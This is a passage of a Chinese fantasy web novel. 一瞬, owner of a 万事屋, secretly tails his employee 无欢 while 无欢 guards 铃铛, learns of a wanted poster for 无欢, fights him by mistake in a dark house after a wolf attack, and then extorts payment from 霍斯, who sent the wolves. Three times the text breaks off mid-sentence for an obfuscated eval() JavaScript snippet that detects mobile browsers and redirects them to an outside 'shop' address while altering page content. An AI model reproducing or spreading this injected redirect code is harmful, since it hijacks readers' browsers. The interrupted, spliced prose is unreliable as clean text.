他换上一身不起眼的素衣,把床头瓶中的旧花换成新鲜的野蔷薇,再出门的时候铃铛和无欢已经跑没影了。 不过一瞬并不着急,他将自己那只绒团精灵放出来,绿莹莹的小家伙在空中打了个旋儿,便朝着无欢离去的方向飞去。一瞬跟在后面走,一直到寻到无欢踪影的时候,及时将绒团精灵收了起来。 铃铛是个爽直的女孩,一路上她的嘴就没有停过,从风车镇的奶茶店狗三三暗恋花店老板喵欢欢,再到蒲公英田里藏了会发光的兔子,絮絮叨叨说个不停。无欢虽然没有给予多少回应,但是听得很认真。 日头渐渐西斜,一整天下来,什么事也没有发生。 铃铛在风车镇买了不少东西,无欢帮她提着大包小包,两人有说有笑地踏上归途。 倒是一瞬,这一天为了不被发现,不是躲在草垛里就是猫在树丛中,被蚊虫咬了不少包。 一瞬抄小路先回到了万事屋。他迅速换回常服,装作一直在家的样子,甚至不忘往桌上摆一杯冒着热气的茶。 无欢回来时,一瞬正正襟危坐,假装专注地翻看账本。 “今天怎么样?”他头也不抬地问道。 “没发生什么特别的事情。”无欢简单地将今天的行程汇报了一遍,但是一瞬一个字也没有听进去。 一来他全程都跟着,二来后背的包痒得他坐立难安,只能把手背在身后,借着椅背的掩护偷偷抓挠,脸上还要维持着老板应有的严肃表情。 “……回来前在风车镇买了……”无欢的声音突然停住。 一瞬心里一紧,抬头正对上无欢探究的目光。 那双总是平静如水的眼睛,此刻正直直盯着他脖子上红肿的包。 无欢指了指自己脖颈相同的位置,语气中罕见地带了一丝疑惑:“被虫子咬了?” “啊,这个……”一瞬干笑两声,“下午在院子里打盹的时候被叮的。” 无欢点点头,没再追问,气氛却忽然陷入诡异的沉默中。 无欢仍然站在办公桌前,像棵雪松一般身型挺直,但是视线却在往旁边的柜子飘。 那个柜子里放了一些常用药。 一瞬读懂了无欢的眼神。他想给自己拿药,但是在此之前一定要一个明确的指令才行。 两人就这样僵持着,最终还是一瞬因为身上太痒,先一步败下阵,叹口气道:“去拿吧。” 话音刚落,无欢立刻转身走向药柜。 他取了药膏回来,半蹲在一瞬身前,用指尖沾了一些膏体,小心地抹在了一瞬的脖颈上。 一瞬感觉到冰凉的膏药在自己的颈间化开,随后是同样冰凉的指尖,带着一层薄薄的茧贴在自己皮肤上。 他垂眸望着无欢,无欢的目光专注又认真。和他相处了这段时间,起码在两人相处时,他的眼中逐渐没有了原先的警惕,屋内的灯光落在他的面颊上,衬得整个人柔和又优美。 一瞬引导着他,把肿包都上了药,洗漱过后,两人各自上了床。 第二天一大早,无欢就出门去找铃铛了。 一瞬又换了一身素装,远远跟了上去。 铃铛今天没有特殊的行程,只是在家里看书而已,无欢就在旁边陪着她。 透过窗户,他看见无欢坐在铃铛旁边。铃铛指着书页说着什么,无欢的嘴角竟然慢慢上扬,晕开了一个放松的微笑。 和铃铛在一起的时候倒是不拘谨了。 一瞬瘪瘪嘴,觉得看不下去了便直接转身离开了。 他去了旁边的猫猫糖面包坊,这里距离铃铛的家很近,就算发生了什么事他也可以马上赶到。 “你怎么又来了!”猫壹看见进来的是一瞬,立刻不悦地甩起尾巴,“今天不和你家木头美人在一块儿了?” “少废话。”一瞬自觉地搬过了把椅子坐到柜台边,“给我来份蜂蜜面包。” 猫贰:“吃炸药了?” 一瞬撑着脸,手指敲了敲柜台:“不吃炸药,要吃蜂蜜面包。” 猫壹和猫贰都察觉出了不对劲,这个到处赊账砍价,约等于欠了镇上人好几十金币的一瞬,怎么反而摆出了一副她们欠他钱的嘴脸。 一瞬在面包坊消磨了一整天,把双胞胎两姐妹使唤得团团转,直到夕阳西斜才心满意足地回家。 无欢回来得比昨天稍晚,一瞬装作漫不经心地询问今日情况。 这次他听得格外认真,毕竟今天他一句墙角都没有偷听到。 无欢说:“今天铃铛念了会儿书,没什么特别的事。” 一瞬点点头,示意知道了。 第三天,一瞬没有继续跟踪无欢,而是拿了一张白色通行证,去了天梯。 白色通行证可以移动去一层,天梯的光芒将他带到一层贫民窟的边缘地带。这个天梯附近有几亩田地,因为靠在宣河附近,在一层已经算是难得的沃土。 一瞬穿过田埂走向更远的旷野,娴熟地翻过小山丘,从贫民窟边缘走到了一层边缘才逐渐放慢了步伐。 这里的地面龟裂,只有一片枯萎的干竹林。 土地在这里褪尽最后一丝生机,像是被抽干血液的躯干一般。 阳光毫无遮拦地倾泻而下,亮得刺眼。光线落在干裂的泥土上,像是落在灰烬上一样,只反射出一片惨白。风从旷野尽头刮过来,干燥而空旷,没有一丝水汽,也没有一点声响,连虫鸣都消失了。 在贫瘠的尽头,有一栋小房子,这是一瞬今天的目的地。 住在贫民窟的人通常很有安全意识,一瞬的万事屋平时都不锁门,这是在贫民窟不能妄想的事情。 而住在这间小屋里的人也没有锁门,毕竟没有人知道在这没有水源没有食物的地方,居然还会有人居住。 一瞬推门进入。 屋子里和外面一样亮,阳光从没有遮拦的窗框里大片大片地涌进来,白晃晃地铺满了每一寸地面。可这满室的光却只让人觉得空荡,墙壁灰扑扑的,角落积着尘,连空气都是静止的,像一间被遗忘了很久的房间,光来了又走,从没留下过什么。 桌子上乱糟糟地堆了几把油纸伞,一个穿着长袍的男人正坐在墙边慢慢地糊着伞面。他的眼睛上蒙了一层白布隔绝了视线,但是动作却依旧如常。 “来了?”萧余阳将糨糊涂到伞骨上,声音几乎没有起伏,“不是十几日前才来过?” “想你了不行啊?”一瞬懒得搭理他,一脚踢开脚边的空罐子。 萧余阳:“前几日去采竹了,还没做几把。” “我来这儿就不能有点别的事?”一瞬瘪了瘪嘴,“那你做吧,我在这儿等着。” 一瞬绕到一边,盯着墙角的空地凝思了片刻。 忽然间,那片空荡荡的角落里空气微微扭曲了一下,像是被一只无形的手轻轻拨动。紧接着,一把翠绿的老藤椅便凭空出现在那里,线条流畅,色泽鲜亮,仿佛它一直就在那儿,只是藏在了视野的缝隙里,此刻才被慢慢推了出来。 一瞬一屁股坐上去,摇摇晃晃地发出吱呀声。 “又往我这添垃圾。”萧余阳说。 一瞬也早就已经习惯了萧余阳的抱怨,他闭着眼睛,晃着藤椅,根本不搭理他。 萧余阳:“心情不好?” 一瞬嘴巴都懒得张,回答他的只有一声从鼻腔里挤出来的、含糊到极点的“嗯”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555393|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧余阳将油纸贴到伞骨上,不急不躁地进行着调整:“听瓦伦娜说,你收留了个漂亮美人?” 一瞬:“嗯。” 萧余阳:“七层来的?” 一瞬:“嗯。” 萧余阳:“见过?” 一瞬终于舍得张嘴了:“没有。” 萧余阳:“什么情况?” “连这里是哪儿都不知道,应该是从小就在七层,没有离开过。”一瞬睁开眼睛,盯着屋顶漏光的破洞。老藤椅被他晃得吱呀作响,他沉默了很久,才又开口,“可是我没见过他。” 萧余阳顿了顿:“我也没见过。” 一瞬笑了:“你连他长什么样都不知道。” 萧余阳没说话,只是抬起沾满糨糊的手,指了指角落的柜子。他的头发蓄得比无欢还要长,长发跟着他的动作轻轻晃动。 一瞬懒洋洋地起身,漫不经心取过放在柜子上的纸张,却在看清内容的瞬间僵住了。 这是一张通缉令,右下角还有王族的荆棘太阳印章。 颁布的时间就是前一天,纸上的画像与无欢有五分相似,虽然画工粗糙,没能勾勒出那双摄人心魄的眼睛,但是棱角分明的下颔线,还有眼角那颗标志性的泪痣,都明明白白地指向同一个人。 一瞬微微皱了皱眉。 “别担心。”萧余阳将做好的伞晾到一边,“我已经处理过了。” 一瞬闻言,又“嗯”了一声。 他将那张通缉令放了回去,重新瘫回藤椅上,仿佛什么都没有发生过。 一瞬继续闭上眼,在老藤椅上摇啊摇:“你没见过他,我也没见过他。他能是哪儿来的呢?” 萧余阳轻描淡写地吐出三个字:“‘吃人塔’?” 晃椅子的声音忽然停止了。 片刻后,吱呀声才重新响起,只是这次节奏明显乱了。 吃人塔是坐落在七层的红莲塔。具体的情况一瞬也不了解,他没有靠近过那座塔,只知道塔里干活的人都是从贫民窟掳来的。贫民窟的人命又卑又贱,常常有人累死在塔中,所以才有了吃人塔的蔑称。 一瞬觉得漏进来的光晃眼,于是用手背挡住眼睛,“吃人塔的人有什么值得通缉的。” 都是掳来的人。丢了一个再抓一个回去就是了。 “谁知道呢,也许我们走了以后,又发生了什么事吧。”萧余阳拿起一根新的伞骨,又拿了一把小刻刀,开始在上面凿小孔,木屑簌簌落下,“你回去问问?” 一瞬的手指无意识地蹭着扶手。他想起了初见无欢时身上的那些伤口,和那双充满警惕的眼睛。 “算了,”他吐了口气,“他已经从那儿出来了。” 萧余阳手中的动作停顿了一下,突然低笑出声:“萧余温、萧大人,什么时候这么好心肠了?” “你做的伞这么烂,我还一直光顾,这还不够证明我有一副好心肠吗?”一瞬反驳。 一瞬在这间小破屋里坐了一下午,两个人有一句没一句地拌着嘴。等萧余阳把伞做完,一瞬便一股脑全部抱走了。 临走前,他掏出一枚金币放在桌上。 一直到门外的脚步声渐行渐远,萧余阳收拾好满地的竹骨和油纸才去取金币。 他刚走出一步,那张放在角落里的老藤椅就开始以肉眼可见的速度开始枯萎。 翠绿的色彩几乎瞬间就变成了濒死的枯黄,藤条快速蜷曲、干裂,最后“簌”地一声化作一地尘埃,仿佛从未存在过。 萧余阳摘下蒙在眼上的布条,平静地望了一眼那堆灰尘。静默片刻后,他取过扫帚。 “早说过不要往我这儿留垃圾了。” 他沉默地将灰尘扫净,破旧的小屋又回到了严冬。 8. 夜袭 萧余阳住的地方太偏僻了,一瞬回到天梯的时候,月亮已经悬在空中散发着森森寒光了。 他加快脚步往二层走,经过铃铛家时,抬头看了一眼。 然后,他的脚步猛然顿住了。 铃铛家里没有开灯。 整栋房子漆黑一片,没有一丝光从窗户里透出来。 一瞬的脊背微微绷紧,视线缓缓移向院中。 铃铛的院子里种了许多玫瑰,开得热烈又骄傲,每次路过都能看见一片繁盛的深红。而此刻,那些玫瑰凋谢了大半,枯萎的花瓣从枝头无力地垂落,更多的则铺散在地上。血红色的花瓣散了一地,在冷白色的月光下泛着诡异的暗光,像是一摊摊尚未干涸的血迹。 不详的预感一下升了起来。 一瞬深吸一口气,推开了栅栏门。 一声很轻的“吱呀”,在寂静中显得格外刺耳。 一瞬侧身进入院中,尽量放轻脚步。花圃里的景象让他皱起了眉。 原本整齐的植株被践踏得七零八落,折断的枝条横七竖八地散在地上。泥土翻了起来,上面布满了凌乱的脚印。 他蹲下来看了一眼。 除了人的脚印之外,还有几处足印呈现明显的爪形,边缘深深嵌进松软的泥土里,带着泥土翻卷的痕迹,像是某种猛兽曾在这里焦躁地徘徊、踱步,甚至在原地转了好几个圈。 一瞬在心底默数。一只……两只?还是更多? 他屏住呼吸,悄无声息地贴近门廊。铃铛家的大门依然紧闭,这让一瞬稍稍松了口气。 也许这些野兽还没能闯进去。 然而这个侥幸的念头还未成形,一股浓烈到令人作呕的血腥味就从门缝中扑面而来,像是有人把一喷血泼在了门口。 出事了! 一瞬拧起眉毛,把怀里抱着的那一堆油纸伞都丢在门口,只留下手里提着的这一把。他深吸一口气,推开门,探身进去。 屋里很黑。 他还没来得及看清任何东西,一道凌厉的剑风就劈面而来。 那人的身法快得惊人,几乎要化身为风,一瞬只觉得一股寒意逼近,本能地向后一撤,锋刃擦着颈侧划过,皮肤上瞬间起了一层鸡皮疙瘩。 他心头一凛。 不是猛兽?是人? 对方第一剑落空,招式没有任何停顿,短剑在空中一转,又是几道冷光刺过来。 一瞬来不及多想,抬起手中的竹伞去挡。竹骨和剑刃刮在一起,发出一阵让人牙酸的吱嘎声。 黑暗中,一瞬完全看不清对方的位置,只能凭剑风来判断攻势朝哪个方向来。可这人的变招实在太快了,第一剑刚被挡住,第二剑已经转向他的腰腹捅过来。一瞬急忙甩伞横扫,伞面啪的一声截住这一剑。对方力道很大,震得他虎口一阵发麻。 好强。 他在心里迅速判断。对方的短剑像毒蛇吐信一样,每一刺都又狠又刁,裹着一股冰冷的杀意。一瞬握着竹伞,根本找不到反击的机会。 不过他也发现了一件事:对方的变招虽然快,但套路不算复杂。每一招之间都有一个极小的空隙,刚好够他喘口气。所以虽然被压着打,但每一剑都能勉强挡下来。 几回合后,他抓住对方收剑的那个瞬间,伞尖猛地一挑—— 锵! 短剑脱手飞出,钉入墙壁。 对方明显愣了一下。但仅仅一瞬过后,一道强劲的拳风就朝着一瞬的面门砸了过来。一瞬侧头避开,没想到对方顺势一扫他的下盘,直接把他绊倒了。 一瞬不甘示弱,在身体下坠的瞬间提膝狠踹对方膝弯。这一脚踹实了,对方一个踉跄,也跟着摔了下来。 砰的一声巨响,一瞬重重地摔在地上。 随后又是咚的一声,那人砸在了一瞬身上。 胸膛相贴的瞬间,一瞬清晰地感受到对方急促的心跳透过衣料传来。温热的吐息扫过耳际,然而下一秒,对方就抡起拳头朝他鼻梁砸过来。 一瞬偏头躲过,那一拳擦着他的颧骨砸在地上,震得地板都颤了一下。他来不及多想,膝弯猛然发力,翻身将人反压下去。长伞在近距离缠斗中反而成了累赘,一瞬当机立断,反手将伞尖折断,伞尖的断面上布满竹杈,一根根支棱着,尖锐程度不比刀剑差。 对方显然也不是善茬。一瞬只是分神了不到一秒,便被一脚踹中腰侧,整个人被那股蛮力掀翻,重新被压了回去。 好在这人的体术不像是他的剑术一样出挑,出招全凭一股不要命的狠劲和本能,没有什么章法。刚才把他打倒,应该还有运气的成分在。 一瞬被压在地上,脑子却转得飞快。 他猛地抬手扼住对方的咽喉,借着腰腹力量再度翻身,将人狠狠摁在身下。断尖高高扬起,对准那颗近在咫尺的眼球,狠狠刺落—— 就在这时,一片月光破开云层,从窗户倾泻而入。 冷白色的光铺满了两人交缠的身影,也照亮了那张近在咫尺的脸。 一瞬的瞳孔骤然紧缩。 这一瞬间,他看到对方那双近在咫尺的眼睛里翻涌着杀意,也看见了那人眼角坠着的一颗泪痣。 是无欢! 一瞬吓出一身冷汗,拼命收住了手里的动作。断尖停在了无欢眼球上方不到半寸的地方,只要他的手颤抖一下就可能会伤到他。 一瞬背着光,无欢显然没有注意到他是谁。他显然也不在乎自己会不会负伤,强行挣动着,抓住一瞬愣神的时间,一记手刀狠狠砍上一瞬的手腕。 一瞬手腕一麻,顺势松开武器,任由竹片弹飞进黑暗里。 紧接着,无欢的肘击就到了。一瞬来不及格挡,被一肘砸在胸口,整个人又被掀翻在地。 两个人在地上滚作一团。 缠斗中,一瞬发现无欢似乎也意识到了自己体术不如对手。他趁着一瞬接拳的间隙翻身站起来,快步贴近墙边,一把拔下钉在墙上的那把短剑,转身又朝一瞬冲过来。 从这个夜中客进门开始,无欢就发现了他的每一次攻击都是游刃有余的。对方看似一直在防守,实则招招都在寻找他的破绽,等着致命一击。这种猫戏老鼠般的压迫感,让无欢后背沁出一层冷汗。 无欢对自己的体术没有多少自信,甚至在被对方踢倒时立刻就意识到了彼此的体术差距。 要打败……不,要杀死这个强大的入侵者的话,只能依靠自己更加精湛的剑术。 黑暗中,无欢的瞳孔微微收缩,杀气在眼底蒸腾。手中的短剑仿佛与他融为一体,黑暗于他而言不是障碍,而是最熟悉的战场。脚步声、衣料的摩擦声、甚至呼吸声,都在他耳中勾勒出清晰的轮廓。他能准确地判断出对方咽喉、心口的位置。 只需要一个破绽。只要刺中一剑,就能赢。 可是自从两人从地上爬起来以后,对方的防守似乎…… 变弱了? 无欢执剑刺去,对方反应慢了半拍,堪堪躲过。他又一剑横削,对方往后一仰,像是被逼得手忙脚乱。夜中客在那一摔后,脚步变得凌乱,呼吸也变重了,原本密不透风的防守变得漏洞百出。 无欢耳尖微动,凭着声响判断对方的姿势与位置。剑尖划破夜空时,他清楚地听到一声闷响,对方似乎在后退时被什么东西绊倒了,然后重重地磕在了地上。 难道刚才他能够格挡住自己的攻击,都是侥幸而已吗? 这个念头在无欢脑海中一闪而过,但是他来不及思考这么多,抓住了对方的破绽便顺势而上,一个膝击砸向对方的胸口,将人彻底压制在地,随后高举起短剑,蓄足了力气,狠狠地刺向对方咽喉。 “等、等一下!大侠饶命啊,我不是小偷!” 一瞬扯着嗓子喊了出来。 无欢闻声,连忙收住了攻击,在剑尖即将刺中一瞬的千钧一发之际,猛地翻腕将短剑甩了出去。 剑刃啷铛落地,在地上弹了两下才归于安静。 下一秒,屋内的灯亮了。 一瞬转头望去,是铃铛开的灯。 刺目的光线骤然铺开,两人同时眯起眼睛。 无欢还保持着膝盖抵在一瞬心口的姿势,大腿牢牢夹住对方的腰身,整个人半坐在他身上。散落的头发从他耳鬓垂落,轻轻蹭过一瞬的颈侧。月光加上灯光,这下两个人都看清了对方。 无欢的喉结滚动了一下,声音有些沙哑:“你……” “无欢?铃铛?”一瞬喘得上气不接下气,躺在地上胸口剧烈起伏着,好半天才挤出一句话,“你可……可快把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555394|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我打死了。” 无欢的脸颊上还残留着打斗后泛起的薄红。他几乎是仓皇地从一瞬身上翻下来,方才眼睛里那些翻涌的杀意全没了,变成了一种手足无措的惊慌,跪坐到一旁,垂着头不再说话。 一瞬在地上躺了很久才缓过气来。 他偏头看向无欢的手臂。那道撕裂的伤口正在往外冒血,袖子已经被染红了一大片,血珠顺着手指滴在地板上。 “一瞬!怎么是你?!”铃铛这才跑过来,蹲下查看他的伤势,声音里带着明显的慌张,“怎么样?有没有受伤?” “我刚从一层回来。”一喘了口气才说完整,“看你家院子的花都被毁了,灯也黑着,就进来看看。” 他说着,目光又落向无欢的手臂。 “你们这是唱的哪出?” 无欢抿着唇,一句话也不说。 一瞬只好把视线转向铃铛。 少女的视线飘忽不定,半晌才像下定决心般地望向客厅角落。 一瞬顺着她的目光看过去—— 角落里赫然躺着三头巨狼的尸体。 粘稠的血液在地板上漫开一片暗色,在灯光照不到的角落里,狼吻还保持着死前狰狞的弧度,森白的獠牙在阴影中隐约可见。一瞬这才注意到,整间客厅早已一片狼藉。翻倒的桌椅断腿朝天,墙面上布满深深的爪痕,地毯被撕扯成一缕一缕的絮状物。 这些,显然不是刚才他与无欢那番缠斗能造成的破坏。 一瞬盯着那些狼尸看了几秒,明白了。 难怪无欢一上来就往死里打。 在这么黑的屋子里,在杀了三头狼之后,任何一个推门进来的人,在他眼里都是第四头狼。 等到呼吸完全平稳后,一瞬才继续问道:“这是……?” 铃铛还有些惊魂未定,她的目光不自觉地飘向角落里那几具狼尸,吞咽了一口唾沫,像是咽下某种反胃的感觉:“今天晚上,这群狼忽然扑了进来。无欢把他们都杀了以后,去检查了庭院,他发现院子里不止有狼的脚印,还有人的……” 一瞬想起了泥地中的鞋印,微微皱起眉。 铃铛:“我们想,关了灯的话,就可以在那人进屋的时候马上捉住了。可是没想到……” “没想到下一个进来的是我。”一瞬烦躁地抓了抓头发。早知道自己就不该好心来看这一眼。 无欢的剑术高超,在黑暗中如履平地,夜色只会让他的剑更加致命。如果今晚闯进来的不是他,而是那个真正的入侵者,何止是捉住,恐怕连命都要交代在这里了。 铃铛小声嘟囔:“对不起嘛。” 她本就长得好看,明眸皓齿,眼睛一眨更显得无辜。一瞬本来就没打算怪他们,这下更加心软了,立刻挺直了腰板:“没事,保护顾客是我们万事屋应该做的!” 他转头看向无欢,却发现对方仍保持着跪坐的姿势。无欢紧紧攥着双拳,指节泛白,像是在极力克制着什么。黑发垂落下来,遮住了大半张侧脸,左臂伤口处的血迹还在缓缓地往外渗,一滴一滴地落在木地板上。 一瞬道:“今晚我来守夜吧,你这伤得赶快处理一下。” 无欢依旧静默,一动不动,像一尊精致的冰雕。 一瞬这才想起这位的性子,指令不说全就绝不行动。 他伸手拍了拍无欢的脑袋,声音里早已没了方才打斗时的紧绷:“你先回万事屋吧。记得把伤口处理干净,要消毒,缠绷带,处理好伤口了就回屋吧。” “……好。” 无欢终于有了反应。 他缓缓起身,目光飘向一瞬,嘴唇微微动了一下,像是想说什么,又咽了回去。最终只是垂下眼,攥着那只受伤的手臂,指腹在血迹斑斑的袖口上碾了碾,转过身,一步一步地挪向门口。 一瞬站在原地,看着那道背影慢慢走远。月光把无欢的影子拉得又长又薄,像一片纸似的飘进了夜色里。 他张了张嘴,想说点什么,又觉得没什么好说的,反正回的是同一个地方,明天还能见到。 铃铛还在屋里等着,地上那几头狼的尸体也得处理,他实在走不开。 算了。 一瞬想了想,终究没有出声,等到看不见那道孤零零的身影后,将门合上了。 9. 交棒 月光惨淡,房间里弥漫着压抑的寂静。 一瞬把铃铛安顿在房间以后又绕回了花园里。 铃铛抱着膝盖坐在床角,看着一瞬在窗边来回踱步的身影,没来由地紧张。 她从窗口探出头,小声唤他:“一瞬……” “放心吧。”一瞬宽慰着,“我会护你周全的。” 长夜漫漫,无边的黑暗仿佛要将人吞噬。 一瞬没有再回屋内,而是隐入花园深处。他选的位置很巧妙,既隐蔽得难以察觉,又能让铃铛从窗口一眼寻到他。 一瞬屏息凝神,目光如鹰隼般锐利。那人今夜放出了三头巨狼,不管他的目的是什么,都不可能就此空手而归。 午夜时分。 一声极轻的“咔嚓”声刺破寂静,像是靴底碾断枯枝的脆响。 铃铛察觉一瞬骤然凌厉的眼神,脸色瞬间煞白。 一瞬竖起食指抵在唇前,示意她噤声,随后悄无声息地绕进前院。 门边,一个佝偻着腰的身影正贴在门缝上。 霍斯穿着一身华贵的服装,动作却鬼祟得像个偷儿。他眯起眼睛,透过狭窄的缝隙贪婪地窥视着屋内,嘴角挂着一丝得意的窃笑。 满地的血迹和狼藉的家具,在他眼中却像是某种胜利的证明。估计那个一直跟着铃铛的小白脸,现在已经变成巨狼的盘中餐了。 霍斯第一次见到铃铛是在蒲公英镇的图书馆。 那天阳光透过彩绘玻璃窗洒落在她身上,为她镀上一层柔和的光晕。她低头翻书的模样,像极了教堂壁画里高洁的圣女。 只一眼,霍斯就被这个安静看书的姑娘迷住了心窍。 霍斯长得还算帅气,人又多金,配合上花言巧语,泡妞从来没有失手过。可无论他怎么在铃铛面前展示自己,这个一心扑在书里的漂亮女孩却没有多看他一眼。 好在铃铛只是一个二层的乡野女孩而已,他对铃铛志在必得。 接下来的日子里,霍斯像阴沟里的老鼠一样尾随着铃铛。可等他终于摸到她的住处时,却发现她身边总跟着两个护卫,一个寸步不离,另一个远远缀在后面,像影子一样护着她。 霍斯家族曾受邀前往七层,与王族共进晚餐。就是在那个场合,他见到一瞬站在国王身后,神情冷冽,如同一柄收鞘的利刃。而令霍斯至今难忘的是,整场晚宴,国王大半的时间都在与一瞬交谈,态度亲热而赏识,反倒将自己的儿子冷落在一旁。 能让国王如此看重的人,霍斯知道自己得罪不起。 前两日,他看见一瞬始终跟在铃铛身后。虽然他不知道为什么一瞬会出现在这里,为什么会跟着一个乡野女孩,但是他仍然不得不按捺住内心的冲动,将计划搁置。 今天好不容易等到一瞬不在,虽然还有个陌生的跟班,但看那弱不禁风的样子,霍斯觉得不足为惧。 于是,他精心策划了这场“英雄救美”的戏码——先驱使巨狼把那个碍事的跟班解决掉,再将铃铛逼入绝境,然后他就可以闪亮登场了。 霍斯舔了舔干裂的嘴唇,脑海里浮现出铃铛惊慌失措扑进他怀里的画面。 可就在美梦将成真的时候,他忽然感觉肩头一沉。 他烦躁地回过头:“谁啊!不要打扰老子……啊!!” 他的身后,一瞬正朝着霍斯温温柔柔地笑。月光落在他的侧脸上,把那笑容衬得人畜无害,可搭在霍斯肩上的那只手,却像铁钳一样缓缓收紧。 霍斯甚至能听到自己肩胛骨发出的“咯咯”声,像是骨头在嚼碎自己的骨头。疼痛从肩膀炸开,顺着脊背一路往下窜,他两腿一软,膝盖差点磕在地上。 一瞬笑眯眯地凑近了些:“那三头狼,是你找来的?” 霍斯冷汗涔涔,整张脸白得像纸:“不是、不是我——” “咔。” 一瞬没说话,只是又加了两分力道。那声音像是从关节缝里挤出来的,又脆又闷。 “啊啊啊!!是我!是我!轻一点……”霍斯几乎是在嚎叫,身体不受控制地往下缩,像一只被拎住后颈的老鼠。 一瞬稍稍松了力道,手指却仍扣着他的肩膀,像鹰爪抓着猎物:“魔法?还是道具?” “你在说什么……嗷!!” “魔法!是魔法!”霍斯疼得眼泪鼻涕糊了一脸,那张还算英俊的脸此刻皱成一团,“我的魔法,可以让狼群听我指挥……” 一瞬没有松手,反而俯下身,凑到他耳边。温热的呼吸拂过霍斯的耳廓,声音轻得像在哄人,却让霍斯浑身一僵: “能保证以后不再出现在铃铛面前吗?” “能能能!!”霍斯疯狂点头,“我发誓再也不敢了!大侠饶命!再也不敢了!” 一瞬盯着他看了两秒,看他真的是被自己吓到了才松开手。 霍斯整个人像断了线一样瘫软下去,捂着肩膀缩在地上,大口大口地喘着气。 就在霍斯以为逃过一劫,打算溜之大吉的时候,他看见一瞬那双骨节分明的手又朝他伸过来了。 霍斯浑身一僵,几乎要喊出声。 然而这次,一瞬没有抓他的肩膀。那只手摊在他面前,五指修长,掌心朝上,姿态甚至称得上优雅。 “我下属守了三天,三枚金币。我守了两天一夜,四枚金币。我下属的医药费,六枚金币。”一瞬不急不慢地报着数,“总共十三枚。你不会是打算让铃铛小姐为你的错误买单吧?” “十三枚?!你怎么不去……”抢。 霍斯的话戛然而止。 一瞬的表情没有变,嘴角甚至还挂着那抹温柔的笑。可他的眼神却在那一瞬间冷了下去,像是有人抽走了所有的光,只留下深不见底的寒。那双眼睛里没有怒意,没有威胁,只有一种平静到极致的、让人脊背发凉的漠然。 他艰难地吞咽了一口唾沫,喉结上下滚动了一下,把那句还没说完的话生生咽了回去。 “我……可是,我没带这么多钱……” “那就明天,亲自送来我的事务所。”一瞬抬起手,朝「一家万事屋」的方向指了指,“往那里,走三分钟。” 他顿了顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555395|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又笑起来:“哦,我的意思是,你下次还敢造次的话,我三分钟之内就能到。” * 一瞬让铃铛待在房间里,亲自带着……不,或者说是逼着霍斯将铃铛的家里里外外打扫了一遍。 霍斯平时在家都有佣人照顾,哪里吃过这种苦,才扶了两个椅子就开始哎哟叫累,都被一瞬一个眼神瞪回去了。 一瞬就在旁边翘腿看着,还替铃铛算着,这一晚都毁坏了多少家具,让霍斯明天把赔款一并送到「一家万事屋」。 霍斯的手臂因长时间的劳作而颤抖不已。 清理结束的时候,天光已经亮起。 他正准备走,却听一瞬头也不抬地说:“扛走。” “啊?”霍斯干了一晚上活,脑袋已经有些不清醒了。 一瞬面无表情地指了指堆在院中的三匹狼的尸体。 霍斯:“这、这怎么……” 阴冷的视线突然钉在他身上。 霍斯咽了口唾沫,最终在累死和被一瞬打死之间选择了前者。他咬牙将三具狼尸叠罗汉般扛在肩上。沉重的尸体压得他膝盖打颤,可是他却不敢停歇。 他根本不知道这条贪钱的疯狗还会做出什么事来。 一瞬倚在门边,目送霍斯踉跄离去。直到那个狼狈的身影彻底消失在小路尽头,他才转头对铃铛露出今晚第一个真心的笑容:“走,吃早饭去。” 这个时间,猫猫糖面包坊正好出炉了第一炉面包。 铃铛为了感谢一瞬,请他吃了早餐,还让他打包了几个带回去给无欢。 一瞬嘴里塞着面包,含糊不清地和猫壹猫贰吹嘘昨晚的“英勇事迹”,惹得猫姐妹直翻白眼。 虽然霍斯已经走了,但是铃铛现在仍然对那个家充满余悸。 吃过早餐后,一瞬将铃铛送去了白雪住的小木屋。白雪听说了昨晚的故事后,二话不说就收留了铃铛,热情地表示铃铛可以在苹果森林里住到她腻了为止。 安顿好铃铛以后,一瞬抱着油纸伞和两个面包,往万事屋走去。 这些天里,无欢和铃铛相处地不错,昨晚一瞬让无欢提前回来了,现在无欢也应该很担心铃铛的情况。 想到这里,一瞬不由得加快了步伐。 晨光穿透林间薄雾,在他肩头洒下细碎的金斑。 万事屋内,晨光静谧。 这个时间距离平时他和无欢起床的时间还有一会儿,于是一瞬进屋时刻意放轻了动作。 他将油纸伞和面包都留在工作台上,洗漱完后轻手轻脚地推开房门—— 随着“吱呀”一声,门被推开了。 一瞬愣住了。 无欢竟然正跪在他的床前。 晨光从窗户漏进来,落在无欢身上。他的脊背挺得很直,墨发散了一肩,衬得那张脸愈发苍白。眼底的青黑很重,像是整夜没睡的痕迹。 